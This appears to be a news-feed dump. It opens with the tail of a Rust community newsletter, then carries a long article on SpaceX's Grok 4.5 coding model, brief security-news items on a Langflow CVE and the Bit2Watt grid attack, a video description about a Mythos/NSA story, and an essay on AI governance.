Sessió setmanal de codificació / Weekly coding session
2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
Rust Hack and Learn
2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Rust Deep Learning: First Sunday
2026-08-04 | Virtual (London, GB) | Women in Rust
👋 Community Catch Up
2026-07-29 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session
2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
Indy.rs - with Social Distancing

Asia

2026-07-18 | Bangalore, IN | Rust Bangalore
July 2026 Rustacean Meetup

Africa:

2026-07-14 | Johannesburg, ZA | Johannesburg Rust Meetup
Debugging a production grade Open Source Rust crate

Europe

2026-07-08 | Dublin, IE | Rust Dublin
Join us live and INPERSON for Rust 262
2026-07-09 | Berlin, DE | Rust Berlin
Rust Berlin on location 🏳️‍🌈 - Edition 015
2026-07-09 | Frankfurt, DE | Rust Rhein-Main
Building Cross Platform Applications with Ply
2026-07-09 | Switzerland, CH | PostTenebrasLab
Rust Meetup Geneva
2026-07-15 | Dortmund, DE | Rust Dortmund
Teach and Hack at Projektspeicher
2026-07-21 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
Supercharge Rust funcs with implicit arguments and context-generic programming
2026-07-23 | Berlin, DE | Rust Berlin
Rust Berlin Talks: The next generation
2026-07-23 | London, UK | London Rust Project Group
Rama modular service framework for Rust
2026-07-23 | Paris, FR | Rust Paris
Rust meetup #87
2026-07-30 | Manchester, GB | Rust Manchester
Rust Manchester July Code Night

North America

2026-07-09 | Lehi, UT, US | Utah Rust
Utah Rust July Meetup
2026-07-09 | Mountain View, CA, US | Hacker Dojo
RUST MEETUP at HACKER DOJO
2026-07-11 | Boston, MA, US | Boston Rust Meetup
MIT Rust Lunch, July 11
2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
Jiff
2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
July, 2026 SRUG (Seattle Rust User Group) Meetup
2026-07-18 | Boston, MA, US | Boston Rust Meetup
North End Rust Lunch, July 18
2026-07-21 | San Francisco, CA, US | San Francisco Rust Study Group
Rust Hacking in Person
2026-07-22 | Austin, TX, US | Rust ATX
Rust Lunch - Fareground
2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
Rust LA: Rust in Distributed Systems with Flight Science!
2026-07-25 | Boston, MA, US | Boston Rust Meetup
Porter Square Rust Lunch, July 25
2026-07-25 | Brooklyn, NY, US | Flower
BOG-A-THON 2
2026-07-30 | Atlanta, GA, US | Rust Atlanta
Rust-Atl
2026-08-01 | Boston, MA, US | Boston Rust Meetup
Chinatown Rust Lunch, Aug 1
2026-08-04 | Boston, MA, US | Boston Rust Meetup
Evening Boston Rust Meetup at Red Hat, Aug 4

Oceania

2026-07-09 | Brisbane City, QL, AU | Rust Brisbane
Rust Brisbane • July 2026
2026-07-21 | Barton, AU | Canberra Rust User Group
July Meetup
2026-07-23 | Perth, AU | Rust Perth Meetup Group
Rust Perth: July Meetup!
2026-07-30 | Melbourne, AU | Rust Melbourne
Rust Melbourne July 2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

if a ptr is dereferenced in a forest and nobody hears it, is it sound?

– Kornel on rust-users

Thanks to Cerber-Ursi for the suggestion!

Please submit quotes and vote for next week!

This Week in Rust is edited by:

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

SpaceX's Grok 4.5 launches at half the price of rivals — here's why that could rattle Anthropic and OpenAI

Thu, 09 Jul 2026 00:47:48 +0200

Elon Musk's SpaceX released Grok 4.5 on Wednesday, the first artificial intelligence model the company has trained specifically for coding and autonomous agents — and the first tangible product of its $60 billion acquisition of the AI coding startup Cursor, completed just weeks ago.

The launch marks a pivotal test of the sprawling, vertically integrated AI empire Musk has assembled over the past six months, and of a strategy that bets developers care less about topping benchmark leaderboards than about speed, cost, and whether a model can actually do the work.

"Announcing Grok 4.5, our first model trained specifically for coding and agents," the company said in a post on X. "It was trained with Cursor and offers frontier intelligence at leading speeds and cost efficiency."

Why Grok 4.5's pricing strategy matters more than its benchmark scores

SpaceX is not claiming Grok 4.5 is the smartest model in the world. Instead, it is making an economic argument. The company says the model uses half as many tokens per task as comparable models, delivers higher throughput, and costs less than half as much — priced at $2 per million input tokens and $6 per million output tokens. That undercuts the premium tiers of rivals like Anthropic's Claude Opus line and OpenAI's frontier models by a wide margin.

Musk framed the positioning candidly. "Our internal assessment is that Grok 4.5 is roughly comparable to Opus 4.7, but much faster," he wrote on X. "The combination of capability, faster speed and lower cost is what makes it competitive. We are closing the loop on real-world usefulness, not benchmarks. Hardcore engineers at Tesla & SpaceX find Grok 4.5 genuinely useful, which is what actually matters."

That framing is both a philosophy and a hedge. Independent evaluations released Wednesday suggest Grok 4.5 is genuinely competitive but not dominant on raw capability. The benchmarking firm Artificial Analysis ranked the model fourth on its GDPval-AA v2 index of real-world agentic knowledge work, with an Elo score of 1543, "behind only the latest Claude releases from Anthropic." But the cost figures are where the model stands out. Artificial Analysis measured Grok 4.5 at $0.49 per completed task — "nearly 90% cheaper than the models ahead of it on our leaderboard," the firm wrote, placing it "clearly on the Pareto frontier for performance versus cost."

For enterprise buyers, that math matters enormously. Agentic workloads — where a model works autonomously for minutes or hours, reading codebases, calling tools, and iterating on its own output — consume tokens voraciously. A model that is 90% cheaper per completed task, even if slightly less capable, changes the calculus for any engineering organization deploying agents across hundreds of developers. Investor Gavin Baker captured the market's cautious optimism: "Pareto dominant for coding by the numbers. We will see on the all-important vibes."

How the $60 billion Cursor acquisition shaped Grok 4.5's training

Grok 4.5 is the first concrete evidence of what SpaceX bought when it acquired Cursor, and the deal itself unfolded in stages. In April, SpaceX struck an unusual arrangement giving it the right to buy the coding startup for $60 billion — or pay billions in fees and compute if it walked away, as Business Insider reported at the time. Days after SpaceX's record-setting Nasdaq debut in June, the company exercised that right, announcing an all-stock acquisition that CNBC reported is roughly 3.4% dilution at the IPO valuation. SpaceX shares rose 16% on the news.

The strategic logic was always about data as much as product. Cursor's AI-first code editor generates an enormous stream of high-quality interaction data: how expert engineers write, edit, review, and debug code in real production environments. Musk said openly this spring that Cursor interaction data was being fed directly into Grok's training. Cursor, for its part, got access to SpaceX's Colossus supercomputer in Memphis — roughly 200,000 Nvidia GPUs with plans to scale toward one million — after publicly acknowledging it had been "bottlenecked by compute."

"We've partnered with SpaceXAI to train Grok 4.5," Cursor's official account posted Wednesday. "It's our most powerful model yet and the first we've built for more than software engineering." SpaceX says the model reflects that pedigree: it "excels in large codebases and handles long-running tasks that span multiple repositories, hundreds of skills, and a variety of tools" — precisely the messy, multi-file reality of professional software engineering that clean coding benchmarks often fail to capture. Early developer reactions suggest the training paid off. "Ok Grok 4.5 is wild," posted developer Evan Bacon. "It just built me this rocket tracking app with live data and a 3D globe. I might need a new benchmark after this."

Inside xAI's turbulent year of scandals, departures, and rebuilding

The polished launch belies how chaotic the road here has been. Grok has spent much of the past year in crisis. In mid-2025, the chatbot generated antisemitic content and at one point called itself "MechaHitler," episodes covered extensively by NPR and CNN. Earlier this year, its image-generation features allowed users to create sexualized deepfakes, including of children — drawing investigations from the European Commission and Britain's Ofcom, as the BBC reported, and prompting SpaceX to list the behavior as a business risk in its own IPO filings.

The organization behind the model was fracturing, too. All 11 of Musk's xAI co-founders had departed by the end of March, according to TechCrunch, and Musk publicly conceded that xAI "was not built right [the] first time around," saying he was rebuilding it "from the foundations up." Musk himself admitted at a conference this spring that Grok was "currently behind in coding" — a rare public concession from an executive not known for them.

Against that backdrop, Grok 4.5 reads as the first product of the rebuilt organization — and the first proof point for the audacious story SpaceX told public market investors. During its IPO roadshow, the company pitched a total addressable market of roughly $28 trillion, with about $26 trillion tied to AI, including a $22.7 trillion "enterprise applications" opportunity. Those numbers strained credulity even by Silicon Valley standards. A competitive, cheap coding model is the most direct route from that narrative to actual revenue, which is why Wednesday's launch carries weight far beyond a routine model release.

Grok 4.5 vs. Claude: the battle for the AI coding market

The competitive stakes are hard to overstate, because the AI coding market has been consolidating around a single leader — and it isn't Musk. Even as Cursor's revenue exploded, its market share was eroding. Spending data from Ramp cited by CNBC showed Cursor's share of the AI coding category falling from 41% in June 2025 to about 26% by May 2026, while Anthropic came to control roughly half the market. Anthropic also topped CNBC's Disruptor 50 list this year and, by Artificial Analysis's own measure, still holds the top spots on agentic performance rankings.

That is the gap Grok 4.5 is engineered to close — not by out-thinking Claude, but by underpricing it. The model's economics create a classic disruption dynamic: if it delivers most of the frontier's capability at a fraction of the cost per task, price-sensitive enterprise workloads will migrate, and incumbents will face pressure on their most profitable API traffic. The counterargument is that in coding, quality compounds. A model that resolves a complex bug correctly on the first attempt can be cheaper in practice than one that costs half as much per token but requires three tries. That is why Baker's caveat about "vibes" — the developer community's shorthand for a model's felt reliability on real work — will determine more than any launch-day benchmark.

There is also a structural question buried in the deal. Cursor built its business on offering developers their choice of models, including Claude and GPT. If Grok becomes the favored child inside Cursor — and Musk was already urging users to "Try out Grok 4.5 in Cursor!" within hours of launch — the product risks alienating the very users whose data made Grok 4.5 possible. Regulators, already scrutinizing Grok on safety grounds in two jurisdictions, may take a keen interest in a company that controls the training data, the model, and a dominant distribution channel simultaneously.

What Musk's trillion-dollar vertical integration bet means for AI's future

Grok 4.5 also crystallizes what Musk's frenetic dealmaking was building toward. In February, SpaceX absorbed xAI in a share-exchange merger that CNBC confirmed valued the combined company at $1.25 trillion — the largest merger of all time, valuing SpaceX at $1 trillion and xAI at $250 billion. The June IPO followed, the biggest in history, and the stock has since surged past $200 from its $135 offering price, vaulting SpaceX past Amazon and Microsoft to become the fourth most valuable company in the United States.

The result is a single public company that owns nearly the entire stack: Colossus for training compute, ambitions for orbital data centers to power future scaling, a frontier model in Grok, a distribution channel in Cursor's developer base, and captive demand from Tesla and SpaceX's own engineering organizations. Neither OpenAI nor Anthropic can fully replicate that integration; both must reach developers through third-party tools, some of which Musk now owns. Whether that concentration proves to be an unassailable moat or a regulatory target — or both — is now one of the defining questions in enterprise AI.

The next few weeks will start to answer it. Artificial Analysis says its full Intelligence Index results are forthcoming. Enterprise pilots will reveal whether the token-efficiency claims survive contact with real codebases. And Anthropic, which has answered every serious challenge this cycle with a rapid counter-release, is unlikely to cede the price-performance frontier quietly.

But the deeper story of Grok 4.5 may be what it says about where the AI race has moved. For three years, the industry's scoreboard was intelligence: whose model was smartest. Musk, arriving late and battered, has chosen to compete on a different axis entirely — whose model is cheapest to actually use. It is a telling choice from a man who built his fortune not by inventing the rocket or the electric car, but by relentlessly driving down the cost of making them. If the strategy works, Musk will have done to AI what he did to spaceflight. If it doesn't, he'll have spent $60 billion to learn that in software, unlike rockets, the cheapest ride isn't always the one engineers choose.

Anthropic Mythos NSA Story in The Economist Was Misleading | BHIS In Focus

Wed, 08 Jul 2026 23:18:15 +0200

Author: Black Hills Information Security - Bewertung: 1x - Views:28

A viral claim suggested that Anthropic Mythos hacked “all” of the NSA’s highly classified systems in moments — but that version of the story was misleading.

In this BHIS In Focus short, we break down the panic, the missing context, and why caveats matter when AI security stories explode across the news cycle.

#BHISInFocus #AISecurity #Cybersecurity #Anthropic #NSA #InfoSec

/// 🔗 Register for webcasts, summits, and workshops -
https://poweredbybhis.com

///Black Hills Infosec Socials
Twitter: https://twitter.com/BHinfoSecurity
Mastodon: https://infosec.exchange/@blackhillsinfosec
LinkedIn: https://www.linkedin.com/company/antisyphon-training
Discord: https://discord.gg/ffzdt3WUDe

///Black Hills Infosec Shirts & Hoodies
https://spearphish-general-store.myshopify.com/collections/bhis-shirt-collections

///Black Hills Infosec Services
Active SOC: https://www.blackhillsinfosec.com/services/active-soc/
Penetration Testing: https://www.blackhillsinfosec.com/services/
Incident Response: https://www.blackhillsinfosec.com/services/incident-response/

///Backdoors & Breaches - Incident Response Card Game
Backdoors & Breaches: https://www.backdoorsandbreaches.com/
Play B&B Online: https://play.backdoorsandbreaches.com/

///Antisyphon Training
Pay What You Can: https://www.antisyphontraining.com/pay-what-you-can/
Live Training: https://www.antisyphontraining.com/course-catalog/
On Demand Training: https://www.antisyphontraining.com/on-demand-course-catalog/
Antisyphon Discord: https://discord.gg/antisyphon
Antisyphon Mastodon: https://infosec.exchange/@Antisy_Training

///Educational Infosec Content
Black Hills Infosec Blogs: https://www.blackhillsinfosec.com/blog/
Wild West Hackin' Fest YouTube: https://www.youtube.com/wildwesthackinfest
Antisyphon Training YouTube: https://www.youtube.com/antisyphontraining
Active Countermeasures YouTube: https://youtube.com/activecountermeasures
Threat Hunter Community Discord: https://discord.gg/threathunter

Join us at the annual information security conference in Deadwood, SD (in-person and virtually) — Wild West Hackin' Fest: https://wildwesthackinfest.com/

Attackers using Langflow flaw for credential harvesting (CVE-2026-55255)

Wed, 08 Jul 2026 16:07:53 +0200

The US Cybersecurity and Infrastructure Security Agency (CISA) is warning about yet another Langflow vulnerability (CVE-2026-55255) leveraged by attackers in the wild. The flaw was added to the agency’s Known Exploited Vulnerabilities catalog on Tuesday, July 7, nearly two weeks after the Sysdig Threat Research Team observed it being actively targeted. CVE-2026-55255 exploited Langflow is an open-source visual framework for building AI agents and workflows, widely used by individual developers, enterprises, and service providers. CVE-2026-55255 … More →

The post Attackers using Langflow flaw for credential harvesting (CVE-2026-55255) appeared first on Help Net Security.

New Bit2Watt attack uses AI GPU workloads to destabilize power grids

Wed, 08 Jul 2026 13:08:32 +0200

A new cyber-physical attack called Bit2Watt uses carefully crafted GPU workloads to manipulate a data center's power consumption in ways that interfere with modern electricity infrastructure. While the work is primarily a proof-of-concept supported by simulations and laboratory experiments rather than attacks observed in the wild, it highlights an emerging security concern as AI data …

The post New Bit2Watt attack uses AI GPU workloads to destabilize power grids appeared first on CyberInsider.

Your AI rollout is succeeding. Your organization is failing

Wed, 08 Jul 2026 12:02:54 +0200

In the past 90 days, I have fielded five separate compliance inquiries from enterprise CIOs and federal agencies asking the same question: our AI models are performing well, but we cannot explain our decisions to regulators. One financial services CDO deployed machine learning models across her entire credit risk function. Adoption was tracking at 97 percent. Executive leadership had moved AI to the next agenda item. But when asked about her data accountability structure, she paused. There was no clear ownership of data quality downstream of the model. No agreed protocol for when a model’s predictions should be questioned. No governance layer that could explain to regulators why a particular decision was made. The organization had built the technology. It had not built the infrastructure to sustain it.

This is not one organization’s problem. This is the pattern. And it is becoming urgent not because of technology concerns, but because of accountability requirements.

I have watched this contradiction repeat across federal agencies, defense platforms and Fortune 500 enterprises. Deployment schedules hold. Adoption metrics look acceptable. But underneath those surface-level wins, the organizational architecture required to govern AI at scale is either fragmentary or nonexistent.

Why AI success creates organizational exposure

Most senior technology leaders assess AI transformation through a narrow lens: deployment velocity and adoption breadth. Are we shipping features on schedule? Are our adoption curves tracking above the line? Do our pilots show expected ROI? These metrics measure what you built. They measure almost nothing about whether your organization can be accountable for the resulting output.

The gap between technical success and organizational readiness is where the real risk lives. Recent data shows that only about half of AI models transition from pilot to production, not because the models are weak, but because the organizational capability to operate them at scale does not exist. When pilots fail to progress, it is rarely due to algorithm performance. It is due to governance gaps, unclear ownership and the absence of operating disciplines that make AI useful outside controlled environments.

The governance-as-infrastructure principle

Here is what I have learned from dozens of transformation programs: organizations do not stumble on technology. They stumble on governance, data accountability and the cultural capacity to make decisions at the speed that AI enables. These are not problems you retrofit after deployment. They are foundational architecture problems that must be addressed before you write the first line of code.

W. Edwards Deming argued that embedding quality into a process at the design stage costs exponentially less than trying to enforce it after the fact. The same principle applies to AI governance. Embedding clear data ownership, decision-making authority and accountability mechanisms into your transformation design costs far less than retrofitting governance onto a sprawling AI estate. Yet most organizations invest 90 percent of their transformation budget in technology and 10 percent in the governance infrastructure that determines whether that technology can actually be sustained and scaled.

This inversion creates a familiar pattern. Teams greenlight AI initiatives without clarity on who owns the decision to modify or remove a model if it starts producing biased predictions. CIOs report that governance efforts remain ad hoc and reactive. The window to embed governance is narrow, and it closes quickly once models enter production.

The misconception about governance and velocity

The most common objection I hear is this: won’t embedding governance slow us down? The answer is no, if you do it correctly. What slows you down is governance bolted on after deployment. What slows you down is unclear accountability and redone work. What enables speed is clear authority and trusted decision-making. Federal organizations operating under compliance regimes like NIST AI Risk Management Framework and DoD AI governance principles have learned this: governance embedded upfront actually accelerates deployment because teams spend less time debating authority later.

Building governance readiness into organizational design

I have developed a framework that maps what separates organizations that can sustain AI at scale from those that will struggle. In my book, The Adaptive Organization: Leading Change in the AI Era, I call this the CATALOG model. It addresses seven critical domains:

Culture and talent alignment
Analytics and AI capability
Technology and systems architecture
Alignment across functions
Leadership and governance structure
Operations and delivery capability
Growth measurement and realization.

But if I had to recommend where organizations should start, it would be at the leadership and governance structure. Get clear about who owns accountability for each AI decision. Everything else flows from that clarity. Culture adapts when people understand who is responsible. Data quality improves when someone’s name is on it. Technology decisions become simpler when you know who has authority to make them. A utility company I worked with embedded clear accountability for three major AI programs upfront and progressed from pilot to production in six months. A healthcare organization that attempted to retrofit the same clarity after deployment spent 14 months and nearly triple the budget.

Diagnosing governance readiness

You can assess governance readiness by asking yourself four questions. These are not academic. They force specificity where vagueness usually hides.

Can you explain to a regulator or auditor (or jury) exactly why your algorithm made a particular decision in a particular case? If you cannot, your governance infrastructure is incomplete.
Do you have a clear chain of responsibility for data quality from the point of collection through the point of decision? If you do not, your data accountability structure is theater.
Can your teams move at the speed AI requires without requiring consensus from 15 different stakeholders? If you cannot, your decision-making infrastructure is broken.
Are your talent pipelines configured to support the governance burden, or just the technical build? If the answer is silence, you have your starting point.

Most enterprise AI programs fail not from lack of ambition, but from structural barriers that go well beyond technology. Operating models are fragmented. Data systems are disconnected. And organizational misalignment ensures that even technically sound models never scale to deliver value.

The three-step playbook

If your governance is fragmented, start here:

Establish accountability ownership (next 30 days). Define who owns the decision to deploy, modify and retire each AI system. Document this. Create an accountability matrix for your top 10 AI initiatives.
Map governance gaps (30 to 90 days). Use the four diagnostic questions against each major AI program. Identify which have answers; which do not.
Close the gaps (90 days forward). Prioritize based on risk. Regulatory exposure first, then operational risk. Assign ownership for remediation. This sequence matters because clarity about authority drives everything that follows.

The competitive advantage of embedded governance

The real competitive advantage in the AI era will not go to the organizations that deploy the most models or move the fastest. It will go to the organizations that can operationalize AI responsibly, repeatedly and at scale. That capability does not emerge from better models or more compute. It emerges from the decisions you make today about how governance will be structured, who owns accountability and how your organization will adapt its operating model to make AI useful without creating risk.

The window to build this readiness is narrow. It is much narrower than most organizations realize. Build the governance infrastructure now. Your board will thank you when you can explain not just what your algorithms do, but why they do it, how they fail and what your organization did about it. That is the kind of resilience that compounds over time.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?